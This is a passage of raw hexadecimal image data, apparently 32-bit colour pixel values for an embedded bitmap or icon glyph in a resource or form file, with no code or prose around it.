FFFFFFFFFFFFFFFFFFFFFFFFFFFF9A9B9BFF9D5A3BFFD65E28FFD75F2AFFD75F\n      2AFFD7602BFFD7602BFFD7602BFFD7602BFFD7602BFFD86430FFDA6D3DFFDE85\n      5CFFBD9782FFD46534FFD65E28FF926958FFA2AD55FFEAEF63FFE5EB60FFE4EC\n      61FFE4EC61FFE4EC61FFE4EC61FFE4EC61FFE4EC61FFE4EC61FFE4EC61FFE4EC\n      61FFE4EC61FFE5EB60FFEDF262FF8F9863FF2628B7FF0408FFFF6B72FFFFD8A1\n      71FFAA5118FFC4CCFFFF0002FFFF0F11FFFF0F11FFFF0F11FFFF0F11FFFF0F11\n      FFFF0E10FFFF0D0FFFFF0D0FFFFF4C4E9BFFBCBCBCFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF1612DCFF2B27DFFF2B27DFFF1612DCFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9EA0A0FF9B4630FFC5441FFFC54521FFC646\n      22FFC64622FFC64722FFC64722FFC64722FFC64722FFCC5A3AFFE1A18FFFB563\n      4BFF71D7F8FFC14D2BFFC5431EFF8E5E4EFFA6A25CFFE0D068FFDDCE68FFDDCE\n      68FFDDCE69FFDDCE69FFDDCE69FFDDCE69FFDDCE69FFDDCE69FFDDCE69FFDDCE\n      69FFDDCE68FFDDCD68FFE2D16AFF939367FF2628BCFF0506FFFF686DFFFFD19C\n      6BFFA54E14FFBEC5FFFF0203FFFF1112FFFF1112FFFF1112FFFF1112FFFF1112\n      FFFF1012FFFF0F11FFFF0D0FFFFF4D4DA0FFB9BBBBFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF1511DBFF2927DFFF2927DFFF1511DBFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF8F362AFFB32915FFB32B17FFB42C\n      19FFB42D1AFFB42D1AFFB42D1AFFB42D1AFFBF4E3DFFC86556FFAE3928FF52BF\n      DEFF42D6FFFFAE3423FFB22915FF86524BFFA59561FFDFC070FFDDBD70FFDDBE\n      71FFDDBE71FFDDBE71FFDDBE71FFDDBE71FFDDBE71FFDDBE71FFDDBE71FFDDBE\n      71FFDDBE71FFDDBD70FFE2C271FF928B6BFF2525B9FF0304FFFF686CFFFFD19B\n      6BFFA44D13FFBDC5FFFF0202FFFF1111FFFF1111FFFF1111FFFF1111FFFF1111\n      FFFF100FFFFF0E0FFFFF0C0DFFFF4A4A9EFFBDBFBFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF0F0CE0FF2221E3FF2221E3FF0F0CE0FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A2A2FF842924FFA3130DFFA41610FFA517\n      11FFA51812FFA51812FFA51812FFA81F19FFAD2E29FFB5413DFF4C94AEFF1FD1\n      FFFF1DD1FFFF9E1F1BFFA3120DFF7D4947FFA48960FFDFB070FFDCAE71FFDBAE\n      72FFDBAF72FFDBAF72FFDBAF72FFDBAF72FFDBAF72FFDBAF72FFDBAF72FFDBAF\n      72FFDBAE72FFDCAE71FFE1B272FF92836BFF2020B9FF0000FFFF5E63FFFFCF9B\n      69FFA44C10FFB9C1FFFF0000FFFF0202FFFF0202FFFF0202FFFF0202FFFF0102\n      FFFF0101FFFF0000FFFF0000FFFF47479EFF642020FF730000FF720000FF7400\n      00FF740000FF710000FFA64230FFA33C2BFFA13A29FFA74331FF710000FF7400\n      00FF740000FF730000FF740000FF6D4747FF802323FF9D0A0AFF9E0D0DFF9E0E\n      0EFF9F0F0FFF9F1010FF9F1010FFB64B4BFFBF6262FF645E70FF10D0FFFF0FCF\n      FFFF0ED0FFFF971618FF9C0909FF7C4646FFB8A99EFFFDE8D2FFF9E4D0FFF9E4\n      CFFFFAE5CFFFFAE5D0FFFAE5D0FFFAE5D0FFFAE5D0FFFAE5D0FFFAE5D0FFF9E5\n      CFFFF9E4CFFFF9E5D0FFFFEAD4FF9C958DFF8186C5FF9FA6FFFFCAD6FFFFCA97\n      71FF9F4711FFF0FEFFFF9DA3FFFFA3AAFFFFA3AAFFFFA3AAFFFFA3AAFFFFA2A9\n      FFFFA2A9FFFFA1A8FFFFA5ACFFFF7C7EA4FF6B2424FF860C0CFF820D0DFF800E\n      0EFF820E0EFF831212FF800B0BFF800B0BFF800B0BFF800C0CFF831212FF820E\n      0EFF820E0EFF810C0CFF830909FF704949FF812323FFA00C0CFF9F0E0EFF9E0F\n      0FFF9F1010FF9F1010FFB34343FFAB2F2FFF85363EFF14CAF7FF10D0FFFF0FCF\n      FFFF0ED0FFFF971618FF9C0909FF7C4646FF202020FF000000FF000000FF0000\n      00FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF0000\n      00FF000000FF000000FF000000FF474747FF8C5B39FFB86B30FFB06533FFA250\n      20FF9E4715FFAE6335FFB36731FFB36731FFB36731FFB36731FFB36731FFB367\n      30FFB36730FFB2652EFFB6672DFF846A58FF6C2525FF890E0EFF881111FF8710\n      10FF800E0EFFB26E6EFF7C0808FF821010FF821010FF7D0808FFB36F6FFF820E\n      0EFF810D0DFF810C0CFF830909FF704949FF822323FFA20E0EFFA31111FFA211\n      11FF9F1010FF9F1111FFB44444FFA13234FF24B5DCFF10D0FFFF10D0FFFF0FCF\n      FFFF0ED0FFFF971618FF9C0909FF7C4646FF202020FF000103FF010406FF0104\n      06FF000204FF000003FF000103FF000103FF000103FF000103FF000103FF0002\n      04FF000003FF000000FF000000FF474747FF926A4AFFC6834AFFBF814FFFAA5C\n      2DFF9D4816FFBA774EFFC07B49FFC07B49FFC07B49FFC07B49FFC07B49FFC07C\n      49FFBF7C48FFBF7B47FFC47C47FF886F5DFF662020FF800000FF7D0000FF8100\n      00FF810000FF780000FF8C0B00FFA23A2AFFA23D2CFF870800FF710000FF7400\n      00FF730000FF720000FF760000FF6D4747FF832323FFA40F0FFFA51212FFA614\n      14FFA61515FFD39090FFAB2B2BFF428FACFF10D0FFFF10D0FFFF10D0FFFF0FCF\n      FFFF0ED0FFFF971618FF9D0A0AFF7C4646FFBEB09FFFFFF3D8FFFFEED6FFFFEF\n      D6FFFFEFD7FFFFEFD7FFFFEDD5FFFFECD2FFFFEAD1FFFFEBD1FFFFEBD1FFFFEB\n      D0FFFFEBD0FFFFEBD0FFFFF2D6FFA0978FFF6C70C4FF8288FFFFB8C3FFFFD09F\n      76FFA8551BFFE7F4FFFF7C84FFFF848AFFFF848AFFFF848AFFFF848AFFFF8389\n      FFFF8389FFFF8288FFFF858BFFFF7174A3FFBFC7C7FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF1B1EF0FF2E30F0FF2D2DEFFF171BEFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A5A5FF832424FFA61010FFA71313FFA816\n      16FFC25F5FFFAB1F1FFF6D6575FF17D4FFFF16D4FFFF15D3FFFF15D3FFFF15D2\n      FFFF13D4FFFFA01C1EFFA60F0FFF7C4747FFA58766FFE2B484FFDEB282FFDEB1\n      83FFDEB383FFDEB383FFDEB383FFDEB383FFDEB282FFDEB17DFFDDB180FFDDAF\n      80FFDDAF80FFDEB181FFE5B784FF91806EFF2020B9FF0000FFFF6368FFFFD5A3\n      70FFAE5B1CFFBCC3FFFF0000FFFF0C0CFFFF0B0BFFFF0A0AFFFF0A0AFFFF0A0A\n      FFFF0909FFFF0707FFFF0404FFFF47479EFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF241FDFFF3933E2FF3933E2FF241EDFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF832323FFA81010FFA91313FFAB19\n      19FFC35E5EFF93464DFF1CD0F7FF17D5FFFF17D5FFFF17D5FFFF17D5FFFF16D5\n      FFFF15D6FFFFA31D1FFFA80F0FFF7C4646FFA58B6BFFE5BA8BFFE1B68BFFE1B8\n      8BFFE1B88BFFE1B88BFFE1B88BFFE1B88BFFE1B88BFFE1B88BFFE1B88BFFE1B8\n      8BFFE1B88BFFE1B68AFFE7BD8DFF928370FF2525B9FF0707FFFF6A6FFFFFD6A4\n      72FFAF5D1DFFC0C7FFFF0808FFFF1717FFFF1717FFFF1717FFFF1717FFFF1616\n      FFFF1515FFFF1313FFFF0F0FFFFF49499EFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF231BDFFF3731E3FF3731E3FF231CDFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF842323FFA90E0EFFAC1717FFDBA1\n      A1FFA52325FF2ABBDDFF14D6FFFF14D6FFFF14D6FFFF14D6FFFF14D6FFFF14D6\n      FFFF12D6FFFFA41C1EFFA90D0DFF7C4646FFA68A6BFFE5BB8DFFE2B98BFFE2B9\n      8BFFE2B98CFFE2B98CFFE2B98CFFE2B98CFFE2B98CFFE2B98CFFE2B98CFFE2B9\n      8CFFE2B98BFFE2B98BFFE8BE8EFF92816FFF2323B9FF0202FFFF686DFFFFD8A5\n      70FFB05D1AFFBFC6FFFF0202FFFF1111FFFF1111FFFF1111FFFF1111FFFF1111\n      FFFF1010FFFF0E0EFFFF0A0AFFFF47479DFFC0C0C0FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF3E38E4FF514AE7FF514AE7FF3E38E4FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFACACACFF863636FFAB2929FFBE5A5AFFAE33\n      33FF589BB3FF2CD2F7FF2CD2F7FF2CD2F7FF2CD2F7FF2CD2F7FF2CD2F7FF2CD2\n      F7FF2AD3F7FFA53334FFAA2727FF895959FFAC9071FFE9C59CFFE7C19AFFE7C2\n      9AFFE7C299FFE7C299FFE7C299FFE7C299FFE7C299FFE7C299FFE7C299FFE7C2\n      99FFE7C29AFFE6C19AFFEBC59CFFA08F7CFF3030BDFF2C2CFDFF7C82FFFFDAAD\n      84FFB9703AFFC3CAFFFF2626FAFF3333FAFF3333FAFF3333FAFF3333FAFF3333\n      FAFF3333FAFF3131FAFF3232FDFF5555ACFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFC0C0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C1C1FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C1FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFF26289AFF0C10DCFF0E10D9FF0E10\n      D9FF0F11D9FF0F11D9FF0F11D9FF0F11D9FF0F11D9FF0F11D9FF0F11D7FF0F11\n      D8FF0E10D8FF0D0FD8FF0D0FDEFF4C4E8CFF317CC2FF2395FFFF2498FFFF2499\n      FFFF2498FFFF2598FFFF178EFFFF2397FFFF2598FFFF2598FFFF2598FFFF2498\n      FFFF2599FFFF2499FFFF249CFFFF5079A3FF93766CFFB36A4CFFA55433FFBB7D\n      64FFDEBEB0FFCE9F8CFFAD6245FFA45534FFC0866CFFDFBFB1FFC99782FFA95B\n      3BFF9C6551FFCE9D88FFE6C5B6FF85756FFF43A11CFF42DB00FF41D701FF42D6\n      00FF41D602FF41D601FF41D601FF41D601FF41D601FF41D601FF41D601FF42D6\n      02FF42D700FF41D701FF42DC00FF5A9144FF26289EFF0E0FD2FF1011D0FF0F12\n      D0FF1112D0FF1112D0FF1112D0FF1112D0FF1112D0FF1112D0FF1110D1FF100C\n      D9FF0E09DEFF0E0BDAFF0D0ED6FF4D4D8FFF39A3BEFF2DA5F7FF3073EEFF206D\n      F1FF2471F0FF1C6CF0FFDEF6F9FF3580F0FF2875F1FF2B77F1FF2B77F1FF2B77\n      F1FF2975F1FF2A76F1FF2876F7FF4F71A2FFA29088FFFFFFFFFFFFFFFFFFF1E6\n      E2FFCEA99AFFDBC1B5FFFFFFFFFFFFFFFFFFE9D8D0FFC69D89FFDBBFB4FFFFFF\n      FFFF93B4C5FFE9CEC3FFCCA08DFF948A86FF469020FF43B205FF43B107FF44B1\n      08FF45B107FF45B109FF45B109FF45B109FF45B109FF45B109FF45B109FF44B1\n      07FF44B108FF43B107FF42B404FF598944FF25259CFF0C0DD2FF0F10CEFF100F\n      D0FF1111D0FF1111D0FF1111D0FF1111D0FF1111D0FF110FD2FF0F10CBFF154E\n      59FF106E1CFF114A56FF0B0DCEFF49498FFF3A95B7FF2AC3F8FF85DDF1FF9CB5\n      EAFF7899EDFF194EE9FFCCDCECFF5780E9FF295CEBFF2F60EAFF2E5FEBFF2154\n      E9FF2457E9FF2C5DEBFF2C5FEFFF54699CFF9D867AFFAB664AFF974523FFB782\n      68FFE0C7BCFFCBA595FFA76144FF994A29FFBD8A73FFE0C9BDFFCDA291FFBC8C\n      74FF9D9492FFE3C8BCFFE5C9BEFF8C7E78FF467C1FFF449B05FF459908FF4699\n      09FF46990AFF469A0AFF469A0AFF469A0AFF469A0AFF469A0AFF469A0AFF4699\n      0AFF459909FF449907FF439B05FF5C7D47FF25259BFF090BD1FF0C0ECFFF0F0F\n      CEFF0E10CEFF100FCEFF0F0FCEFF0F0FCEFF0F0ED0FF0D10C2FF145F0DFF0849\n      53FF9CB618FF206641FF0A4E1EFF484987FF3C8EB2FF33BAF4FF2FB5F0FF72CB\n      EBFFB3DBE3FFB8BAE2FFB3BDE2FFABB9EDFF2D48E3FF2946E6FF1F3EE3FFDFE3\n      EEFFC6CFF1FF2441E4FF2E4BEBFF556097FF9B8478FFF9F2EEFFFFFFFFFFE8D6\n      D0FFC59986FFD2B1A3FFF9F4F2FFFFFFFFFFE0C8BFFFBF8B73FFCDB8A8FF48AB\n      D7FF6AAFCCFF58B0CEFFCD8E72FF8F837CFF466D1FFF448402FF458506FF4785\n      06FF478608FF488608FF488608FF488608FF488608FF488608FF478608FF4786\n      08FF468507FF458504FF448601FF5C7446FF25259CFF0909D0FF0C0DCFFF0D0D\n      CFFF0E0ECFFF0F0FD0FF0F0FD0FF1010D0FF0D0CD1FF282AC2FF5C8B6DFFF7D0\n      13FFC6A226FFD6B92DFF8CA66AFF58588CFF3F8CB0FF34B7F4FF35B4F0FF31B4\n      F0FF22AEF0FFC6E1E4FFB9BBE4FF99A1E7FF132AE1FF8B94DEFFADB1DFFF9BA3\n      EAFF5E6BDFFF2C40E2FF2F42E9FF565C94FFA18F87FFB4755AFF9F5333FFC08F\n      78FFE6D6CDFFD4B4A5FFAE6D53FFA05738FFC49784FFE9D6CCFFCCC6BFFF1700\n      B2FF2543A9FF382FAEFFFFF0E0FF8F837DFF2CA7C4FF1AE2FFFF1DDFFFFF1EE0\n      FFFF1EE0FFFF1FE0FFFF1FE0FFFF1FE0FFFF1FE0FFFF1FE0FFFF1FE0FFFF1EE0\n      FFFF1EE0FFFF1CDFFFFF1AE5FFFF4F93A3FF23239BFF0507DBFF070DDBFF0308\n      D3FF0000C9FF0C0CCFFF0E0FD1FF0F0FD0FF0B0BD0FF3B3AD0FF6B65D0FF9BC1\n      F5FFA5AFBDFFA1AEB0FF4649D3FF5D5C8DFF3F8DB0FF3ABAF4FF37B5F0FF37B5\n      F0FF31B2EFFF80C9EBFFE5E9E5FF8C9EE3FFDAD5E8FFF6F3E9FFB6BCE4FF1C31\n      E0FF2137E4FF273CE3FF2F43E9FF565C94FF987A6AFFEFE1DBFFFFFEFEFFDDC2\n      B7FFBD896BFFCFA58CFFF0E5E1FFFEFCFCFFD7BAACFFB57A61FFCEB9ADFFDFDE\n      CFFF87C4C8FFD5D3C8FFBF8368FF8C7C75FF31A2B6FF22DCFDFF21D9F9FF20D8\n      F9FF23D9F9FF23D9F9FF23D9F9FF23D9F9FF23D9F9FF23D9F9FF23D9F9FF23D9\n      F9FF22D9F9FF20D7F9FF1DDEFFFF50919BFF3036A9FFB76342FF6D0000FFA64E\n      31FFE3D1CFFFA3ABFCFF3027C1FF0C0DD1FF0B0BD0FF2E2ECDFFFFFFDEFF908B\n      8BFF99864BFF99520BFFE3E7CAFF58588DFF3F8EB0FF3DBBF5FF3EB9EFFF3DB8\n      EFFF37B4F0FF3AB4EEFFAAD3E7FFD5E4E5FF80C8EAFFC8CEE5FFF0EEEBFFDDDE\n      E5FFA2A9E5FFA3ACE9FF243AE9FF565C94FF6860B3FFAA5C31FFA1522DFFD4AC\n      8DFFD0CAF8FF9083EAFFB17664FFA96648FFCCA797FFF0E5E0FFDAB9ADFFBB73\n      5BFF87807AFFE3BDB0FFF5EAE4FF928A84FF32A2B6FF25DDFDFF28DAF9FF28DA\n      F9FF22D8F9FF21D8F9FF22D9F9FF22D9F9FF23D9F9FF23D9F9FF23D9F9FF23D9\n      F9FF22D9F9FF20D8F9FF1DDEFFFF50919BFF2C30A5FFD8A488FFDBCBD3FF96A0\n      FEFF6E4487FF8E1C00FF310A7DFF0B0ED6FF0A0ACFFF2F2FCCFFDEE6E9FF8C90\n      D9FF0000A7FF8185DBFFD8E4EEFF58568CFF408DB1FF40BDF5FF42BBF1FF43BB\n      F1FF44BBF1FF3FB9EFFF32B5F0FF25B0F1FF64C0EAFFF7EFE9FFBDD3E2FF3346\n      DDFFA9AEDDFFAFB5E8FF2C40E7FF565D94FF6D63A9FFE6BE95FFD6D0F4FF9985\n      DFFFA77582FFB06329FFE4CDC2FFF5EEEBFFCEAB9BFFAF6C54FFA29062FFB8B9\n      91FF8EAE95FFAD926AFFB27457FF887670FF32ADB8FF27EFFFFF29EBFBFF2BEB\n      FBFF2CEBFBFF28EBFBFF24E9FBFF21E8FBFF20E7FBFF20E7FBFF20E7FBFF20E7\n      FBFF1FE7FBFF1DE8FBFF1BEFFFFF4F969EFF26269DFF7176F1FF686BE8FF7070\n      E3FF7276EBFF7781F6FF383BE1FF1414D3FF1111D4FF3535CEFFFFFFFFFFFFFF\n      FFFF3B3BA5FFFEFEF8FFFFFFFFFF56568BFF408EB1FF44BFF6FF45BDF2FF46BD\n      F2FF47BDF2FF47BDF2FF47BDF2FF43BBF1FF7AC7E9FFFFF2EDFFE4E8E8FFFAF6\n      EDFFD3D1E8FF6571E2FF374EEDFF585F94FF4C3699FF8B70E8FF8266DDFF8A6D\n      DBFF886DE0FF816CEDFFC29686FFBA8366FFDABCAFFFFAF7F6FFE6E0D4FF6F96\n      4AFF57884CFFAEB488FFFFFEFFFF968E8CFF3F259CFF3E13D5FF3F16D2FF4018\n      D2FF4019D2FF4019D2FF4019D2FF4119D2FF4018D0FF3D16D1FF3C16CFFF3C15\n      CFFF3D15D1FF3E14D1FF3F13D8FF58498DFF25259EFF6A6FF0FF6A6DE7FF6767\n      E3FF666AEAFF7079F6FF3538E2FF1414D4FF1616D5FF1717D2FF2020CDFF1E1E\n      CDFF2C2CD4FF1D1DCDFF1919D2FF49498CFF418EB1FF46C1F6FF47BDF2FF48BF\n      F2FF49BFF2FF49BFF2FF49BFF2FF46BEF2FF58C1EFFFABD0E2FFE6EBECFFBCDE\n      ECFF77CCEDFFABD3ECFF4C58E9FF565C94FF4B3499FF886BE8FF876ADDFF8566\n      DCFF8368E3FF7C66ECFFDEC6C2FFF1E4DDFFCEA695FFB36E54FFA4AD77FF8DB3\n      76FF5A8F49FF8FB46FFFAC714CFF86736BFF3F309EFF3F27D9FF4029D5FF412B\n      D7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422C\n      D7FF412BD7FF3F29D5FF3F26DCFF564F8FFF2D30A7FFCC9387FF7767C6FFB3BC\n      FFFFDCAE99FF911800FF350A86FF0C10DDFF1111D6FF1010D5FF0E0ED5FF0E0E\n      D5FF0D0DD5FF0B0BD5FF0707DCFF47478CFF418FB1FF46C2F6FF46BFF2FF48BF\n      F2FF48BFF2FF48BFF2FF48BFF2FF48BFF2FF46BEF2FF3FBCF2FF4ABCEFFF3CBC\n      F3FF41BDF3FF4AC1F0FF45B9F9FF556293FF6E64A9FFCAA097FF9C85E8FFCCBF\n      EDFFE3BE95FFB97040FFCDA38FFFC4927BFFE2C8BFFFFFFFFFFFBBBB96FFBDAE\n      8DFF99965EFFB1DCA6FFFFFFFDFF989392FF3D2F9EFF3F24DBFF3F27D7FF4027\n      D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028\n      D7FF4027D7FF3F25D7FF4024DEFF554E8DFF373CACFFBF7767FF881F15FF9958\n      67FF887AD0FFC2CAFFFF7266D1FF2D2EDDFF3333DCFF3333DCFF3333DBFF3333\n      DBFF3333DBFF3131DBFF3232DFFF55559AFF4995B7FF61CBF8FF5DC7F5FF5EC9\n      F5FF5EC8F5FF5EC8F5FF5EC8F5FF5EC8F5FF5EC8F5FF5EC8F5FF5DC8F5FF5EC8\n      F5FF5EC9F5FF5CC7F5FF60CDFAFF6495A8FF6F65B0FFC4875EFFC38962FFB68D\n      A2FFAF9EEEFFC2B6E7FFE3C8B6FFE8D3C9FFD3AE9EFFB97B61FFCE9E8CFFE2D0\n      C1FFECD2CCFFD7AD9FFFBD7D64FF917A70FF453AA5FF5B47E0FF5843DDFF5845\n      DDFF5944DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5944\n      DDFF5845DDFF5744DDFF5945E1FF615B9CFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDCDCDCFFC2C2C2FFC2C2C2FFC2C2\n      C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2\n      C2FFC2C2C2FFC2C2C1FFC0C0C0FFFFFFFFFFDADADAFFBFBFC0FFC0C0C0FFC0C0\n      C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBF\n      BFFFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFF8494A9FFA5B9FDFFA8E2B1FF13C0\n      00FF20C205FF20C205FF20C205FF20C205FF20C205FF20C205FF20C205FF1EC2\n      05FF1FC205FF1EC304FF1EC802FF528748FF202121FF010405FF010406FF0004\n      